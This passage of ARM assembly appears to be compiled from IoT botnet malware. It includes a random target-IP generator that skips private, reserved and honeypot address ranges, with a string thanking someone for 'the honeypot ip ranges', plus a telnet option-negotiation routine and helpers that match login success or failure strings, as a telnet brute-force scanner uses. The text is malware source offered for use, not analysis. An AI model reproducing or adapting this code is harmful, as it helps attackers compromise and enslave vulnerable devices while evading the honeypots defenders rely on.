	ldr	r1, [r1]
	mov	r0, r1
	mov	r1, #0
	adds	r4, r2, r0
	adc	r5, r3, r1
	str	r4, [fp, #-20]
	str	r5, [fp, #-16]
	sub	r1, fp, #20
	ldmia	r1, {r0-r1}
	mov	r2, #0
	mov	r3, #0
	mov	r2, r1
	mov	r3, #0
	ldr	r3, .L9+12
	str	r2, [r3]
	ldr	r2, [fp, #-20]
	ldr	r3, .L9+12
	ldr	r3, [r3]
	add	r3, r2, r3
	str	r3, [fp, #-36]
	ldr	r3, .L9+12
	ldr	r3, [r3]
	ldr	r2, [fp, #-36]
	cmp	r2, r3
	bcs	.L7
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	ldr	r3, .L9+12
	ldr	r3, [r3]
	add	r3, r3, #1
	ldr	r2, .L9+12
	str	r3, [r2]
.L7:
	ldr	r3, .L9+4
	ldr	r3, [r3]
	ldr	r1, [fp, #-32]
	ldr	r2, [fp, #-36]
	sub	r2, r1, r2
	ldr	r1, .L9+8
	str	r2, [r1, r3, lsl #2]
	ldr	r2, .L9+8
	ldr	r3, [r2, r3, lsl #2]
	mov	r0, r3
	sub	sp, fp, #12
	@ sp needed
	pop	{r4, r5, fp, pc}
.L10:
	.align	2
.L9:
	.word	18782
	.word	i.8093
	.word	Q
	.word	c
	.size	rand_cmwc, .-rand_cmwc
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	printchar, %function
printchar:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L12
	ldr	r2, [fp, #-12]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3]
	and	r2, r2, #255
	strb	r2, [r3]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3]
	add	r2, r3, #1
	ldr	r3, [fp, #-8]
	str	r2, [r3]
	b	.L14
.L12:
	sub	r3, fp, #12
	mov	r2, #1
	mov	r1, r3
	mov	r0, #1
	bl	write
.L14:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	printchar, .-printchar
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	prints, %function
prints:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #16
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	str	r2, [fp, #-32]
	str	r3, [fp, #-36]
	mov	r4, #0
	mov	r7, #32
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	ble	.L16
	mov	r5, #0
	ldr	r6, [fp, #-28]
	b	.L17
.L18:
	add	r5, r5, #1
	add	r6, r6, #1
.L17:
	ldrb	r3, [r6]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L18
	ldr	r3, [fp, #-32]
	cmp	r5, r3
	blt	.L19
	mov	r3, #0
	str	r3, [fp, #-32]
	b	.L20
.L19:
	ldr	r3, [fp, #-32]
	sub	r3, r3, r5
	str	r3, [fp, #-32]
.L20:
	ldr	r3, [fp, #-36]
	and	r3, r3, #2
	cmp	r3, #0
	beq	.L16
	mov	r7, #48
.L16:
	ldr	r3, [fp, #-36]
	and	r3, r3, #1
	cmp	r3, #0
	bne	.L24
	b	.L22
.L23:
	mov	r1, r7
	ldr	r0, [fp, #-24]
	bl	printchar
	add	r4, r4, #1
	ldr	r3, [fp, #-32]
	sub	r3, r3, #1
	str	r3, [fp, #-32]
.L22:
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bgt	.L23
	b	.L24
.L25:
	ldr	r3, [fp, #-28]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	printchar
	add	r4, r4, #1
	ldr	r3, [fp, #-28]
	add	r3, r3, #1
	str	r3, [fp, #-28]
.L24:
	ldr	r3, [fp, #-28]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L25
	b	.L26
.L27:
	mov	r1, r7
	ldr	r0, [fp, #-24]
	bl	printchar
	add	r4, r4, #1
	ldr	r3, [fp, #-32]
	sub	r3, r3, #1
	str	r3, [fp, #-32]
.L26:
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bgt	.L27
	mov	r3, r4
	mov	r0, r3
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
	.size	prints, .-prints
	.global	__aeabi_uidivmod
	.global	__aeabi_uidiv
	.section	.rodata
	.align	2
.LC79:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	printi, %function
printi:
	@ args = 12, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, fp, lr}
	add	fp, sp, #24
	sub	sp, sp, #36
	str	r0, [fp, #-48]
	str	r1, [fp, #-52]
	str	r2, [fp, #-56]
	str	r3, [fp, #-60]
	ldr	r3, .L40
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	mov	r8, #0
	mov	r7, #0
	ldr	r6, [fp, #-52]
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bne	.L30
	mov	r3, #48
	strb	r3, [fp, #-44]
	mov	r3, #0
	strb	r3, [fp, #-43]
	sub	r1, fp, #44
	ldr	r3, [fp, #8]
	ldr	r2, [fp, #4]
	ldr	r0, [fp, #-48]
	bl	prints
	mov	r3, r0
	b	.L38
.L30:
	ldr	r3, [fp, #-60]
	cmp	r3, #0
	beq	.L32
	ldr	r3, [fp, #-56]
	cmp	r3, #10
	bne	.L32
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bge	.L32
	mov	r8, #1
	ldr	r3, [fp, #-52]
	rsb	r3, r3, #0
	mov	r6, r3
.L32:
	sub	r4, fp, #44
	add	r4, r4, #11
	mov	r3, #0
	strb	r3, [r4]
	b	.L33
.L35:
	ldr	r3, [fp, #-56]
	mov	r1, r3
	mov	r0, r6
	bl	__aeabi_uidivmod
	mov	r3, r1
	mov	r5, r3
	cmp	r5, #9
	ble	.L34
	ldr	r3, [fp, #12]
	sub	r3, r3, #58
	add	r5, r5, r3
.L34:
	and	r3, r5, #255
	sub	r4, r4, #1
	add	r3, r3, #48
	and	r3, r3, #255
	strb	r3, [r4]
	ldr	r3, [fp, #-56]
	mov	r1, r3
	mov	r0, r6
	bl	__aeabi_uidiv
	mov	r3, r0
	mov	r6, r3
.L33:
	cmp	r6, #0
	bne	.L35
	cmp	r8, #0
	beq	.L36
	ldr	r3, [fp, #4]
	cmp	r3, #0
	beq	.L37
	ldr	r3, [fp, #8]
	and	r3, r3, #2
	cmp	r3, #0
	beq	.L37
	mov	r1, #45
	ldr	r0, [fp, #-48]
	bl	printchar
	add	r7, r7, #1
	ldr	r3, [fp, #4]
	sub	r3, r3, #1
	str	r3, [fp, #4]
	b	.L36
.L37:
	sub	r4, r4, #1
	mov	r3, #45
	strb	r3, [r4]
.L36:
	ldr	r3, [fp, #8]
	ldr	r2, [fp, #4]
	mov	r1, r4
	ldr	r0, [fp, #-48]
	bl	prints
	mov	r3, r0
	add	r3, r7, r3
.L38:
	ldr	r2, .L40
	ldr	r1, [r2]
	ldr	r2, [fp, #-32]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L39
	bl	__stack_chk_fail
.L39:
	mov	r0, r3
	sub	sp, fp, #24
	@ sp needed
	pop	{r4, r5, r6, r7, r8, fp, pc}
.L41:
	.align	2
.L40:
	.word	.LC79
	.size	printi, .-printi
	.section	.rodata
	.align	2
.LC80:
	.ascii	"(null)\000"
	.align	2
.LC81:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	print, %function
print:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #40
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	str	r2, [fp, #-40]
	ldr	r3, .L69
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	mov	r3,#0
	mov	r4, #0
	b	.L43
.L62:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #37
	bne	.L66
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	mov	r6, #0
	mov	r5, r6
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	beq	.L67
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #37
	beq	.L68
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #45
	bne	.L49
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	mov	r6, #1
	b	.L49
.L50:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	orr	r6, r6, #2
.L49:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #48
	beq	.L50
	b	.L51
.L53:
	mov	r3, r5
	lsl	r3, r3, #2
	add	r3, r3, r5
	lsl	r3, r3, #1
	mov	r5, r3
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	sub	r3, r3, #48
	add	r5, r5, r3
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
.L51:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #47
	bls	.L52
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #57
	bls	.L53
.L52:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #115
	bne	.L54
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r3, [r3]
	mov	r7, r3
	cmp	r7, #0
	beq	.L55
	mov	r1, r7
	b	.L56
.L55:
	ldr	r1, .L69+4
.L56:
	mov	r3, r6
	mov	r2, r5
	ldr	r0, [fp, #-32]
	bl	prints
	mov	r3, r0
	add	r4, r4, r3
	b	.L57
.L54:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #100
	bne	.L58
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #97
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #1
	mov	r2, #10
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L57
.L58:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #120
	bne	.L59
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #97
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #0
	mov	r2, #16
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L57
.L59:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #88
	bne	.L60
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #65
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #0
	mov	r2, #16
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L57
.L60:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #117
	bne	.L61
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #97
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #0
	mov	r2, #10
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L57
.L61:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #99
	bne	.L57
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r3, [r3]
	and	r3, r3, #255
	strb	r3, [fp, #-28]
	mov	r3, #0
	strb	r3, [fp, #-27]
	sub	r1, fp, #28
	mov	r3, r6
	mov	r2, r5
	ldr	r0, [fp, #-32]
	bl	prints
	mov	r3, r0
	add	r4, r4, r3
	b	.L57
.L66:
	nop
	b	.L44
.L68:
	nop
.L44:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, [fp, #-32]
	bl	printchar
	add	r4, r4, #1
.L57:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
.L43:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L62
	b	.L46
.L67:
	nop
.L46:
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	beq	.L63
	ldr	r3, [fp, #-32]
	ldr	r3, [r3]
	mov	r2, #0
	strb	r2, [r3]
.L63:
	mov	r3, r4
	ldr	r2, .L69
	ldr	r1, [r2]
	ldr	r2, [fp, #-24]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L65
	bl	__stack_chk_fail
.L65:
	mov	r0, r3
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L70:
	.align	2
.L69:
	.word	.LC81
	.word	.LC80
	.size	print, .-print
	.section	.rodata
	.align	2
.LC82:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	szprintf
	.syntax unified
	.arm
	.fpu softvfp
	.type	szprintf, %function
szprintf:
	@ args = 4, pretend = 12, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 1
	push	{r1, r2, r3}
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #20
	str	r0, [fp, #-20]
	ldr	r3, [fp, #4]
	str	r3, [fp, #-24]
	ldr	r3, .L74
	ldr	r3, [r3]
	str	r3, [fp, #-12]
	mov	r3,#0
	add	r3, fp, #8
	str	r3, [fp, #-16]
	sub	r3, fp, #20
	ldr	r2, [fp, #-16]
	ldr	r1, [fp, #-24]
	mov	r0, r3
	bl	print
	mov	r3, r0
	ldr	r2, .L74
	ldr	r1, [r2]
	ldr	r2, [fp, #-12]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L73
	bl	__stack_chk_fail
.L73:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, lr}
	add	sp, sp, #12
	bx	lr
.L75:
	.align	2
.L74:
	.word	.LC82
	.size	szprintf, .-szprintf
	.global	thanks
	.section	.rodata
	.align	2
.LC83:
	.ascii	"thanks to unhappygh0st for the honeypot ip ranges :"
	.ascii	")\000"
	.data
	.align	2
	.type	thanks, %object
	.size	thanks, 4
thanks:
	.word	.LC83
	.section	.rodata
	.align	2
.LC84:
	.ascii	"%d.%d.%d.%d\000"
	.align	2
.LC85:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	getDatIP
	.syntax unified
	.arm
	.fpu softvfp
	.type	getDatIP, %function
getDatIP:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	ldr	r3, .L97
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-28]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-28]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-27]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-26]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-25]
	b	.L77
.L78:
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-28]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-27]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-26]
	bl	rand
	mov	r2, r0
	ldr	r3, .L97+4
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	and	r3, r1, #255
	strb	r3, [fp, #-25]
.L77:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #0
	beq	.L78
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #10
	beq	.L78
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #100
	bne	.L79
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #63
	bls	.L79
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	lsl	r3, r3, #24
	asr	r3, r3, #24
	cmp	r3, #0
	bge	.L78
.L79:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #127
	beq	.L78
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #169
	bne	.L80
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #254
	beq	.L78
.L80:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #172
	bne	.L81
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #16
	bhi	.L81
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #31
	bls	.L78
.L81:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #192
	bne	.L82
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L82
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	cmp	r3, #2
	beq	.L78
.L82:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #192
	bne	.L83
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #88
	bne	.L83
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	cmp	r3, #99
	beq	.L78
.L83:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #192
	bne	.L84
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #168
	beq	.L78
.L84:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #198
	bne	.L85
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #18
	beq	.L78
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #19
	beq	.L78
.L85:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #198
	bne	.L86
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #51
	bne	.L86
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	cmp	r3, #100
	beq	.L78
.L86:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #203
	bne	.L87
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L87
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	cmp	r3, #113
	beq	.L78
.L87:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #62
	bne	.L88
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #30
	bls	.L78
.L88:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #207
	bne	.L89
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #30
	bls	.L89
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	cmp	r3, #120
	bls	.L78
.L89:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #65
	bne	.L90
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #223
	bls	.L90
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	cmp	r3, #226
	bls	.L78
.L90:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #195
	bne	.L91
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #10
	beq	.L78
.L91:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #216
	bne	.L92
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #25
	beq	.L78
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #94
	beq	.L78
.L92:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #212
	bne	.L93
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	cmp	r3, #56
	beq	.L78
.L93:
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #223
	bls	.L94
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	cmp	r3, #239
	bls	.L78
.L94:
	mov	r3, #0
	str	r3, [fp, #-24]
	sub	r3, fp, #20
	mov	r2, #0
	str	r2, [r3]
	str	r2, [r3, #4]
	str	r2, [r3, #8]
	ldrb	r3, [fp, #-28]	@ zero_extendqisi2
	mov	r1, r3
	ldrb	r3, [fp, #-27]	@ zero_extendqisi2
	mov	ip, r3
	ldrb	r3, [fp, #-26]	@ zero_extendqisi2
	ldrb	r2, [fp, #-25]	@ zero_extendqisi2
	sub	r0, fp, #24
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r3, ip
	mov	r2, r1
	ldr	r1, .L97+8
	bl	szprintf
	sub	r3, fp, #24
	mov	r0, r3
	bl	inet_addr
	mov	r3, r0
	ldr	r2, .L97
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L96
	bl	__stack_chk_fail
.L96:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L98:
	.align	2
.L97:
	.word	.LC85
	.word	-2139062143
	.word	.LC84
	.size	getDatIP, .-getDatIP
	.section	.rodata
	.align	2
.LC86:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	negotiate
	.syntax unified
	.arm
	.fpu softvfp
	.type	negotiate, %function
negotiate:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	str	r2, [fp, #-24]
	ldr	r3, .L116
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #254
	bgt	.L100
	cmp	r3, #251
	bge	.L101
	b	.L115
.L100:
	cmp	r3, #255
	bne	.L115
	mov	r3, #0
	b	.L113
.L101:
	mvn	r3, #0
	strb	r3, [fp, #-9]
	sub	r1, fp, #9
	mov	r3, #16384
	mov	r2, #1
	ldr	r0, [fp, #-16]
	bl	send
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #252
	bne	.L104
	mvn	r3, #1
	strb	r3, [fp, #-9]
	b	.L105
.L104:
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #254
	bne	.L106
	mvn	r3, #3
	strb	r3, [fp, #-9]
	b	.L105
.L106:
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #3
	bne	.L107
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #253
	bne	.L108
	mov	r3, #251
	b	.L109
.L108:
	mov	r3, #253
.L109:
	strb	r3, [fp, #-9]
	b	.L105
.L107:
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #253
	bne	.L110
	mov	r3, #252
	b	.L111
.L110:
	mov	r3, #254
.L111:
	strb	r3, [fp, #-9]
.L105:
	sub	r1, fp, #9
	mov	r3, #16384
	mov	r2, #1
	ldr	r0, [fp, #-16]
	bl	send
	ldr	r3, [fp, #-20]
	add	r1, r3, #2
	mov	r3, #16384
	mov	r2, #1
	ldr	r0, [fp, #-16]
	bl	send
	b	.L112
.L115:
	nop
.L112:
	mov	r3, #0
.L113:
	ldr	r2, .L116
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L114
	bl	__stack_chk_fail
.L114:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L117:
	.align	2
.L116:
	.word	.LC86
	.size	negotiate, .-negotiate
	.align	2
	.global	contains_string
	.syntax unified
	.arm
	.fpu softvfp
	.type	contains_string, %function
contains_string:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	mov	r3, #0
	str	r3, [fp, #-12]
	mov	r3, #0
	str	r3, [fp, #-8]
	mov	r3, #0
	str	r3, [fp, #-12]
.L119:
	ldr	r3, [fp, #-12]
	add	r3, r3, #1
	str	r3, [fp, #-12]
	ldr	r3, [fp, #-12]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L119
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L120
.L123:
	ldr	r3, [fp, #-8]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-20]
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, [fp, #-16]
	bl	strcasestr
	mov	r3, r0
	cmp	r3, #0
	beq	.L121
	mov	r3, #1
	b	.L122
.L121:
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L120:
	ldr	r2, [fp, #-8]
	ldr	r3, [fp, #-12]
	cmp	r2, r3
	blt	.L123
	mov	r3, #0
.L122:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	contains_string, .-contains_string
	.align	2
	.global	contains_success
	.syntax unified
	.arm
	.fpu softvfp
	.type	contains_success, %function
contains_success:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, .L126
	ldr	r0, [fp, #-8]
	bl	contains_string
	mov	r3, r0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L127:
	.align	2
.L126:
	.word	successes
	.size	contains_success, .-contains_success
	.align	2
	.global	contains_fail
	.syntax unified
	.arm
	.fpu softvfp
	.type	contains_fail, %function
contains_fail:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, .L130
